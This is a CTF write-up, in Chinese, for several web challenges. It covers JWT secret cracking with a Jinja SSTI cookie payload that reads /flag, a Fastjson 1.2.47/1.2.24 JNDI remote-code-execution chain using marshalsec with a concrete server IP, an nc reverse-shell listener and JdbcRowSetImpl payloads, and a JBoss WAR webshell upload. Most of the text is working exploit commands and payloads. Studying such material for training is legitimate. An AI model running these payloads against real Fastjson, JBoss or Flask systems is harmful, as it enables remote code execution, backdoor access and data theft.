ez_py
随便输一个账密,进入后台,存在 jwt,使用 jwt crack 暴力,得到 secret 是 CTf4r
登进去,发现啥东西没有,既然是 python 考点大概是 ssti,寻找注入点就是 user,绕过过滤,构造 payload
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiP25hbWU9e3soeHxhdHRyKHJlcXVlc3QuY29va2llcy54MSl8YXR0cihyZXF1ZXN0LmNvb2tpZXMueDIpfGF0dHIocmVxdWVzdC5jb29raWVzLngzKSkocmVxdWVzdC5jb29raWVzLng0KS5ldmFsKHJlcXVlc3QuY29va2llcy54NSl9fSIsInVpZCI6IjRlN2NkNDg1LTU2YjctNDYwYS1iMzIwLTFiZWViZjdkYzJmMSIsInBhc3N3ZCI6IjEyMzQ1NiIsInJvbGUiOiJhZG1pbiJ9.yY3dIUG0_3tOMivjLg_DDKBdrH1jsqFrTG-B1FXbU2U;x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
用 burp 抓包替换 cookie
得到 flag
soseay
fastjson rce复现
下载 fastjson-1.2.47-RCE-master
把文件复制到服务器(需要Java环境)
更改 Exploit.java 文件
编译Exploit.java文件,在exploit.java目录下,输入命令:javac ./Exploit.java,会生成一个Exploit.class文件,将以下三个文件放在同一个目录下
python开启web服务
注意python2和3命令不相同
端口可任意,注意需要与上面三个文件同一路径下开启web服务
python -m SimpleHTTPServer 1111 (python2)
python -m http.server 1111 (python3)
可以在浏览器访问下看看文件生成了么
开启rmi服务
利用marshalsec文件开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://121.196.173.254:1111/#Exploit" 23333
# 1111 端口是 python web 服务的端口
# 23333 是任意端口
nc开启端口监听
注意监听端口与exploit.java文件中的端口一致,看一下 exploit.java 中的端口
nc -lvp 8888
反弹 shell
使用 burp 带上 exp 去访问靶机,注意反弹 shell 端口是 ldap 端口
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:23333/Exploit",
"autoCommit":true
}
}
Fastjson<=1.2.24
步骤与1.2.47一样,只是最后的poc不同
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:9999/Exploit",
"autoCommit":true
}
}
发包
成功拿到 shell
Old But A Little New
Jboss5.x/6.x-后台上传war包getshell
弱口令进后台
后台可以上传 war 包
首先去制作一个 war 包
jar cvf shell.war shell.jsp
# 或者直接打包shell.jsp成shell.zip,然后shell.zip直接改格式改成shell.war
部署 war 包,选择生成好的文件
部署成功是可以看到的
使用冰蝎访问
asuka
和上题的方法一模一样,非预期了。。。